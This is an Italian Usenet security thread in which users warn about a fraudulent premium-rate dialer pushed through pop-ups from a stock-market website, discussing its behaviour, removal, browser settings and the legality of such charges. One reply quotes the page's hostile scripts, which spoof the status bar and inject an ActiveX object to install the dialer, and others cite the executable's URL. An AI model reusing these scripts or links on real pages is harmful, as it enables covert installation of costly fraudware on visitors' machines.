Newsgroup: it.comp.sicurezza.windows
Titolo: state attenti

poco fa collegandomi al sito
http://www.investireinborsa.it/
dopo un po il computer si è scollegato
e subito dopo ha ricomposto un numero
incuriosito ho guardato bene in accesso remoto,
dove compariva una nuova connessione chiamata
"default"
la linea cadeva di continuo ed era ripetuto
il numero in continuazione
ancora più incuriosito, ho staccato la presa
del modem e mi sono messo ad osservare
cercando che numero componesse mi sono apparsi
solo 4 asterischi
in task manager appariva "connessione di default in
corso" e come applicazione "mp3.exe" in esecuzione
IExplore aveva aperto una nuova finestra collegata
ad un sito di mp3 che io non conosco e non ho mai
visitato poichè non mi interessano per niente gli mp3
tutto è successo fulmineamente nel giro di 30-40
secondi
in winnt/Downloaded Program Files, insieme ai soliti
file flash, ce n'era uno in codice (e in esecuzione)
ed era lui che componeva il numero
non riesco a vedere che numero compone
comunque ho postato questo messaggio solo per dirvelo
adesso do una bella pulita e il problema è risolto
il guaio è se non si da il giusto peso alla faccenda
ciao

 numero
sono andato a vedere: nel sito non ho trovato nulla di particolare e non
vi ho prestato nemmeno molta attenzione perche' si e' aperto un nuovo tab
"pubblicitario" 
http://www.giochivirtuali.net/index.htm
 nel cui sorgente
appare "
http://stat.trafficadvance.net/dialer/303486.exe
"
-- 
quando tutti mi perseguitano prego di ricordare che ci vogliono 42 muscoli
per aggrottare il viso e solo 4 per stendere il medio e mandarli a cagare!

appare "
http://stat.trafficadvance.net/dialer/303486.exe
"
La finestra pubblicitaria e' aperta dalla pagina sul mib30 (forse
anche da altre) tramite
un javascipt  che richiama  
http://www.guadagnando.net/adv.php?ID=211
Di qui viene chiamata la pagina con il dialer.
Della serie l'autore del sito prende una miseria per far apparire una
finestra pubblicitaria che tenta di installare un dialer e fragare un
sacco di soldi a chi visita la pagina. O non se ne rende conto (e
allora potrebbe risparmiarsi di fare i siti di borsa) o gli sta bene
(e allora dato l'interesse per l'economia gli suggerirei di ri-leggere
il saggio di Cipolla "Le leggi fondamentali della stupidita' umana." e
in particolare la terza legge ove recita 
"Una persona stupida e' una persona che causa un danno a un’altra
persona o gruppo di persone senza realizzare alcun vantaggio per se' o
addirittura subendo un danno". Credo si possa estendere a chi realizza
per se stesso un vantaggio trscurabile.)
Il pazzesco e' che il mercato dei dialer in Italia e' florido e alla
luce del sole. 
Ciao
	fabio

 e subito dopo ha ricomposto un numero
Visitando il sito: in alcuni punti si aprono banner pubblicitari nel quale 
si scarica un onnipresente activeX di una fantomatica BEWEB che installa un 
dialer.
Presumibilmente ti è sfuggito un "invio" di troppo. 

 luce del sole. 
E' pazzesco già a monte, ovvero che la legge permetta che i servizi 
*telefonici* possano tranquillamente costare 5 cent al secondo + IVA 
corrispondenti alla modica cifra di 220 euro l'ora, equivalente alla 
parcella di un luminare di fama internazionale.
Nel caso dei dialer, facciamo due conti: connessione dialup, quindi circa 
5kb al secondo (potenziali), che corrispondono a circa 17M l'ora. Quanti 
mp3 si possono stimare in 17M? Cinque? Ad essere ottimisti... quindi, 
un'album di 10 canzoni costa scaricarlo la bellezza di 450 euro. Ovviamente 
utopizzando che la connessione viaggi fissa a 5k/s e che ogni secondo della 
connessione sia impiegato nel download. 
Mi pare evidente che acquistare un "servizio" o "prodotto" facilmente 
reperibile in ogni negozio di musica ad un prezzo venti volte superiore al 
suo valore di mercato sia una condizione che può essere imposta solo con 
l'inganno. Sebbene per i bischeri non c'è paradiso nessuna mente sana e non 
plagiata accetterebbe consapevolmente. E volendo pure essere buoni, 
ammettendo cioè che il servizio/prodotto fornito non sia illegale.
Purtroppo, ripeto, su questi servizi a pagamento c'è del marcio a monte. 
Per lo stato è un modo di spillare soldi freschi da attività che altrimenti 
sarebbero totalmente a nero.

ciao
allora, guarda, ho riprovato adesso
vado su:
http://www.investireinborsa.it/
clicco su Dati di Borsa
e poi ancora su indici
dopo qualche secondo si apre
http://www.behost.org/mp3/index.htm
ancora qualche secondo, il computer
si disconnette e riforma un altro numero
andando in accesso remoto trovo
una nuova connessione chiamata "Default"
la apro e cercando il numero appare:
"****", cioè solo 4 asterischi
apro task manager e in esecuzione c'è
mp3gratuiti.exe
da qui lo disattivo
lo cerco con "trova", ma non c'è
se tento di eliminare la connessione
mi appare un messaggio che è impossibile
intanto il modem cerca di connettersi a ripetizione
apro WinNt\Downloaded Program Files\ e da qui elimino
lo strano file senza nome, ma numerato
torno in accesso remoto ed elimino la connessione
adesso il modem si è fermato
apro regedit, cerco la nuova connessione e la cancello
adesso mi pare di aver pulito tutto,
ma la cosa mi preoccupa
che dici di fare ancora ?
grazie ciao


no, no, fa tutto da solo ...
e si apre 
http://www.behost.org/mp3/index.htm
dopo di che succede quanto detto
mi dispiace solo che se ci capita
un poco esperto, ci resta incastrato
grazie ciao


ORRORE!!!!!
Un omonimo!
Scarpantibus (quello VERO)

 un solo oggetto clickabile. Sei sicuro che dipendesse da _quel_
sito?
nemmeno a me apre niente di strano.. niente di niente.
--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          ~-: Ely :-~
         eda...@LAMERfreesurf.ch
per rispondermi in privato *sopprimi* il lamer
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 e subito dopo ha ricomposto un numero
[....]
Dai anche una sistemata al tuo Explorer, o al tuo S.O., e 
frena le ditine.
============================================================
Avviso di protezione
Installare ed eseguire "TALE SOFTWARE E' ESENTE DA VIRUS AL 
100%. CLICCA_SU_"Sì"_per_accettarne i termini e le condizioni 
di utilizzo. Il collegamento sarà immediato senza scaricare 
software da salvare e ritrovare. Questo programma chiiuderà 
la connessione locale con il vostro internet provider e vi 
riconnetterà al nostro server ed avrete ACCESSO IMMEIDATO AI 
NOSTRI CONTENUTI.! Non ci sono altri costi aggiuntivi, ne 
passwords da dover utilizzare, pagherete solo il costo della 
telefonata: due euro e cinquanta centesimi al minuto più 
cinquanta centesimi alla risposta più iva per una durata max 
di 75 minuti. Ora non vi resta che navigare, 
BUON_DIVERTIMENTO!" firmato in data/ora sconosciuta e 
distribuito da:
Infotel di Zolesi Luca
Autenticità dell'autore verificata da Thawte Server CA
Attenzione: Infotel di Zolesi Luca dichiara che il contenuto 
è sicuro. Installare o visualizzare il contenuto solo se 
Infotel di Zolesi Luca è considerato attendibile.
============================================================
Mi pare abbastanza chiaro.
-- 
Bye by V.
http://www.virusbusters.cjb.net

 dopo di che succede quanto detto
Controlla le impostazioni di IE, ti *deve* dare l'avviso
di protezione.


 no, no, fa tutto da solo ...
Non voglio ferirti nell'orgoglio ma ti garantisco che non è così.

dopo di che succede quanto detto
Non e' che hai impostato il livello di protezione "Scarica controlli
ActiveX con firma elettronica" su "Attiva" anziche' su "Conferma"?
Comunque le pagine che aprono pop up con dialer sono due:
Mib30 e Future.
Scaricano due controlli diversi ma con la stessa CLSID. 
Se ho capito bene dovrebbero affliggere solo gli utenti di M$ IE ...

 Se ho capito bene dovrebbero affliggere solo gli utenti di M$ IE ...
io infatti usavo Opera e non ha aperto nessuna seconda pagina o
popup... popup killer Powah ;-)


 bene dovrebbero affliggere solo gli utenti di M$ IE ...
io di certo non uso ie pero' le pagine sono state aperte ugualmente


un poco esperto, ci resta incastrato
Eh si'.
Leonardo
-- 
Questo messaggio e' NAGWARE. Per disattivare frecciatine, giochi
di parole, volgarita' gratuite ed inviti a rileggersi i messaggi
gia' passati e/o consultare 
http://groups.google.com
, effettuare
un versamento di 25 euro come tariffa di registrazione helpdesk.

sei proprio una vipera !
:-)
ciao

io di certo non uso ie pero' le pagine sono state aperte ugualmente
Non intendevo i popup ma il donwload del controllo ActiveX (eseguito a
partire dalle finestre di popup), che i browser seri non supportano
anche per ragioni di sicurezza:
cf. ad per Opera
http://www.opera.com/support/search/supsearch.dml?index=415
	fabio

da non causare ad altri ingiusto danno? Io direi di si', eccome.
Il tipo in questione scrive qui e la':
"Le finestre che si aprono automaticamente sono dei 
banner  pubblicitari, che potete chiudere anche subito! "
Un minimo di dubbio gli sara' venuto?
Comunque il problema dei popup infidi si verifica anche in contesti
indipendenti dalle intenzioni dell'autore.
Tempo fa (3-4 anni) avevo utilizzato per la scuola in cui lavoro un
reindirizzamento di 
cjb.net
All'epoca era solo gratis, funzionava bene, senza pubblicita' .
L'interesse della scuola per un sito internet era marginale e non tale
da giustificare la spesa di un hosting (all'epoca non c'era gran
scelta di hosting a basso costo).
Dopo un paio d'anni d'onesto servizio cjb ha aggiunto alla versione
free (affinacata da una versione a pagamento) del servizio dei popup
(o meglio pop under) con pubblicita' di siti equivoci (si fare per
dire, d'equivoco c'era  poco) o suonerie e altre cose che poi alla
fine vuol dire dialer.
Per una scuola non era il massimo per cui siamo migrati su di un
hosting con  dominio acquistato a pochi quattrini.
Certo non c'erano  dowload semi-automatici pero' ...
	fabio

 Non intendevo i popup ma il donwload del controllo ActiveX
una svista mia, chiedo venia


 
http://www.behost.org/mp3/index.htm
Questo avviene con altri link, comunque (con IE 6) vieni avvisato:
Installare ed eseguire...
-- 
     * b *
   *   y   *
 *   Piero   *

 Scarpantibus (quello VERO)
allora mi auto_elimino
va bene così ?
:-)


wrote:

A dire il vero, era un po' di tempo che pensavo di andare in pensione,
ma non mi piaceva il pensiero di far scomparire il povero uccellaccio.
Se ti va bene, ti cedo il nick per continuare la tradizione: fammi
sapere.....:-))
Scarpantibus

 Sarebbe il caso di sentire it.diritto e magari mettere su una FAQ.
Sicuramente. Ma quello che ci tengo a sottolineare ogni volta č l'invito a 
chi ha subito un simile sopruso a rivolgersi ad una associazione 
consumatori. 
Gli aspetti legali che hai descritto sono inequivocabili, ma ci sono anche 
aspetti sostanziali su cui č bene tenere gli occhi aperti. Cioč, questi 
stramaledetti numeri a pagamento... capisco che per i bischeri non c'č 
paradiso, ma quando vedo (come nel caso presente) la promessa di scaricare 
mp3, giochi e segate varie al costo di 5 cent al secondo corrispondenti a 
180 euro + IVA (418.000 delle vecchie lirette...) ogni ora mi pare evidente 
che siamo di fronte a un "qualcosa", non so che tipo di malefatta ma 
qualcosa di bacato c'č per forza. Non č difficile fare due conti e 
dimostrare che scaricare un cd (ammesso che sia legale) costa quanto 
comprarne venti o trenta in negozio. 
Cioč, bisognerebbe fosse chiaro che quě vendono il fumo a delle cifre da 
capogiro. Sebbene capisco che il marcio č a monte, mi chiedo quale servizio 
telefonico possa valere quelle cifre lě...

 e si apre 
http://www.behost.org/mp3/index.htm
Se hai tempo, una bella denuncia alla polizia postale. 
-- 
HappyCactus - Linux User #209744 - 
http://pngstego.sourceforge.net
 
 
www.google.com
 - 
groups.google.com
/* Ci sono 10 categorie di persone al mondo: quelle che capiscono */
/* il sistema binario e quelle che non lo capiscono.              */

 sarebbero totalmente a nero.
Me la spieghi? Non vorrei fraintendere la tua affermazione!
-- 
Ciao Gianluca

>
è lo stesso, come vuoi,
anzi, volevo cambiarlo anch'io.
Però peccato buttarlo via perchè è "curioso",
l'uccellaccio con gli scarponi e senza ali
di alto gradimento.
Mi ricorda gli anni 70
ciao e decidi tu


OK, considerami pensionato...:-)))
Vi continuero' a seguire
Ciao
Scarpantibus 

> e si apre 
http://www.behost.org/mp3/index.htm
Poi con questo script, s'impedisce di vedere sulla statusbar, dove punta
il link:
<SCRIPT language=JavaScript>
setInterval("window.status='>> I MIGLIORI SERVIZI GRATUITI DELLA RETE!!!
!! <<'",1);
</SCRIPT>
e con quest'altro richiamato sul server si completa l'opera:
<script>
//<!--
var o1st=true, _os;
var clsid="CLSID:FFFF0003-0001-101A-A3C9-08002B2F49FB"
function fdo(){
var o=document.all.A;
if (o1st==true) {
_os='<object id=A CLASSID="'+clsid+'" '+' codebase="'+o.codeBase+'">
</object>'
o.outerHTML=_os; o1st=false;
}else o.outerHTML=o.outerHTML;
}
//-->
</script>
'sti stronzi!!! <eg>


 Ma nessuno ti obbliga a fruire di questi servizi...
Ok, allora usiamo i giusti termini. Io non sono obbligato, scarico per 
un'ora, pago 200 e passa euro e in cambio cosa ottengo?
Si chiama "pacco".
 

 Si chiama "pacco".
Chiamiamolo "pacco"...ma ti ha obbligato qualcuno?
Se la tua scelta è di scaricare per un'ora quello che ti pare a 200 euro...
Il discorso cambia se nessuno ti avverte che per scaricare in un'ora
quello che ti pare pagherai 200 euro.
Perchè condannare una società che fornisce un (chiamiamolo) "servizio
aggiunto" al costo di 200 euro e previo esplicito consenso, avendo 
sottoposto al cliente le relative norme e costi che regolano l'erogazione 
del servizio? 
Mi soffermo nuovamente su PREVIO ESPLICITO CONSENSO del
cliente (o "pollo" perchè in quel momento così può essere definito).
Se poi qualcuno istalla qualcosa sul mio pc senza il mio ESPLICITO
CONSENSO allora si che mi girano i maroni.
-- 
Ciao Gianluca

 Chiamiamolo "pacco"...ma ti ha obbligato qualcuno?
No, nel "pacco" non ti obbliga mai nessuno. 

Se la tua scelta è di scaricare per un'ora quello che ti pare a 200 euro...
Annullabilita' del contratto per sproporzione tra la cifra corrisposta e il
servizio pagato  o qualcosa del genere... se ben ricordo ;-)))
In ogni caso... anche a contratto firmato.
E poi non puoi far scaricare a nessuna cifra materiale coperto da Copyright
suppongo ;-D
Stef_Ozzy

 E poi non puoi far scaricare a nessuna cifra materiale coperto da Copyright
Sottoscrivo, il pagare in più non autorizza ad infischiarsene del Copyright
-- 
Ciao Gianluca

Ragazzi anche a me è successo mi dite con precisione i passi
da fare per eliminare del tutto questo fastidioso dialer? Grazie.
Alex

torna indietro, 
è tutto spiegato
ciao